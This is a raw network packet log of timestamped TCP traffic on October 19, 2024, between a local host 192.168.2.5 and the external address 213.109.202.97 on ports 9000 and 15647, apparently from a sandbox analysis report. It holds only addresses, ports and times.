Oct 19, 2024 03:37:08.696075916 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696085930 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696109056 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.696141005 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.696144104 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696166992 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696202040 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.696221113 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696310997 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696321011 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696331024 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696352005 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.696373940 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.696446896 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696502924 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696512938 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696554899 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.696563005 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696611881 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.696620941 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696636915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696679115 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.696705103 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696780920 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696789980 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696800947 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696826935 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.696836948 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696850061 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.696888924 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696907043 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696938038 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.696975946 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696986914 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.697026968 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.697052956 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.697113991 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.697139978 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.697150946 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.697160959 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.697182894 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.697191000 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.697220087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.697220087 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.697232008 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.697264910 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.737838984 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.737848997 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.737854958 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.737864017 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.737906933 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.741542101 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.778340101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.778393030 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.778403044 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.778450966 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.789527893 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.789577961 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.789702892 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.789714098 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.789730072 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.789740086 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.789757967 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.789769888 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.789779902 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.789789915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.789793015 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.789803028 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.789805889 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.789844036 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.789923906 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.789933920 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.789973021 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.790662050 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.815726042 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.815892935 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.815902948 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.815912962 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.815922976 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.815932989 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.815949917 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.815983057 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.816035986 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816087961 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816103935 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816117048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816128969 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.816159010 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.816169977 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816180944 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816216946 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.816262960 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816273928 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816312075 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.816370010 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816404104 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816414118 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816452026 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.816467047 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816478014 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816497087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816519022 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.816559076 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.816628933 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816690922 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816699982 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816716909 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816726923 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816732883 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.816766977 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.816788912 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816837072 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816838026 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.816848040 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816879034 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.816934109 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.816993952 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.817003965 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.817044973 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.817082882 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.817121983 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.817126036 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.817168951 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.817214012 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.817220926 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.817270041 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.817281008 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.817317009 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.817357063 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.817399979 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.817404032 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.817415953 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.817452908 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.817467928 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.834779024 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.851104975 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.858006001 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.858063936 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.858091116 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.858119965 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.858175039 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.898194075 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.898369074 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.898426056 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.898436069 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.898469925 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.898484945 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.909218073 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.909271955 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.909404993 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.909418106 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.909427881 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.909437895 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.909447908 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.909467936 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.909476042 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.909497023 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.909508944 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.909518957 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.909543991 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.909559011 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.909574986 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.909584999 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.909626961 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.909650087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.909658909 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.909698963 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.935772896 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.935954094 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.935962915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.935973883 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.935983896 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.935993910 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936011076 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.936043978 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.936110973 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936127901 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936137915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936182976 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.936194897 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936243057 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936249018 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.936253071 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936264038 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936291933 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.936330080 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936338902 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936348915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936373949 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.936391115 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.936458111 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936469078 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936476946 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936517954 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.936584949 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936606884 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936619043 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936635017 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.936672926 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.936703920 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936714888 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936723948 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936754942 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.936844110 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936868906 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936878920 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.936892033 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.936933041 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.936969995 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.937021971 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.937032938 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.937067986 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.937072039 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.937114954 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.937146902 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.937211037 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.937222004 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.937259912 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.937283039 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.937331915 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.937351942 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.937416077 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.937424898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.937458992 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.937477112 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.937521935 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.937541008 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.937551975 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.937587976 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.944149017 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.961282969 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.966115952 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.975963116 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.977905989 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.977962971 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.977973938 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.978015900 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.978027105 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.978066921 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.018507004 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.018666983 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.018677950 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.018688917 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.018697023 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.018742085 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.018781900 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.022291899 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.029345989 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.029365063 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.029372931 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.029406071 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.029422998 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.029469013 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.029481888 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.029490948 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.029520035 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.029603958 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.029614925 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.029624939 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.029654980 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.029670954 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.029726982 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.029737949 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.029753923 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.029781103 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.042993069 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.055979013 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.055988073 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056003094 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056013107 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056022882 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056034088 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056040049 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.056075096 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.056133032 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056174994 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056183100 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.056185007 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056226015 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.056240082 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056250095 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056291103 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.056301117 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056310892 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056344986 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.056359053 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056438923 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056449890 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056479931 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.056559086 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056570053 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056611061 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056616068 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.056652069 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.056658983 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056668043 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056710005 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.056729078 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056740046 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056777000 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.056781054 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056940079 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056957960 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056966066 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.056992054 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.057004929 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.057017088 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.057028055 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.057035923 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.057069063 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.057087898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.057099104 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.057151079 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.057193041 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.057204008 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.057256937 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.057279110 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.057288885 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.057313919 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.057327986 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.057360888 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:09.057383060 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.057471037 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.057481050 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.057492018 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:09.057511091 CEST	49705	9000	192.168.2.5	213.109.202.97
